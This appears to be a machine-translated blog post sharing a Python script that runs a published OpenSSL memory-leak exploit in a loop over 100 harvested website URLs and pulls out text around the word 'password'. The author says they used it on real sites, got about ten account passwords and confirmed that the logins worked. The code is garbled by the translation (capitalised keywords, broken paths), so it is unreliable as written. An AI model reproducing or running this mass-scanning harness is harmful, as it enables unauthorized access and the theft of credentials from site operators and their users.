So find a station, with For loop, batch grabbed 100 files, about 10 minutes to complete, look up the account and password about 10, testing basic can be logged in, if it is a large number of visits to the site, may be caught more time! I used the existing exp to write a convenient batch detection of the vulnerability, mainly practicing python, feel not practice progress too slow
| The code is as follows |
Copy Code |
|
#coding: Utf-8
Import subprocess
Import time
#遍历目标文件中的URL
def Readtar (TargetPath):
F=open (TargetPath, "R")
For URL in F.readlines ():
Url=url.strip ("RN")
Exploit (URL)
#Exp执行, gets the original echo after execution and sends it to the getres for processing
def exploit (URL):
cmd= "python" +r "e:dayopensslssltest.py" +url
Print cmd
Expover=subprocess. Popen (cmd,stdout=subprocess. PIPE)
Time.sleep (5)
Expres=expover.stdout.read ()
Print Expres
'''
#EXP执行回显筛选, get a string with password
def getres (Expres):
Ispwd=false
If Expres.find ("password") >0:
Ispwd=true
If Ispwd==true:
keywords= "Password"
Before=expres[expres.index (keywords) -280:expres.index (keywords)]
After=expres[expres.index (keywords) +len (keywords): expres.index (keywords) +len (keywords) +140]
Passallstr=before+keywords+after
Print Passallstr
If Len (passallstr) ==0:
Print "Maybe no or user in strings"
'''
If __name__== ' __main__ ':
#注明测试目标所在文件
Targetfile=r "E:dayurl.txt"
Readtar (TargetFile) |
Mainly with the help of the published exp, just added a very simple file read traversal test code, but also want to print out the "password" keyword before and after a few lines, and finally seems to have some problems, so commented out.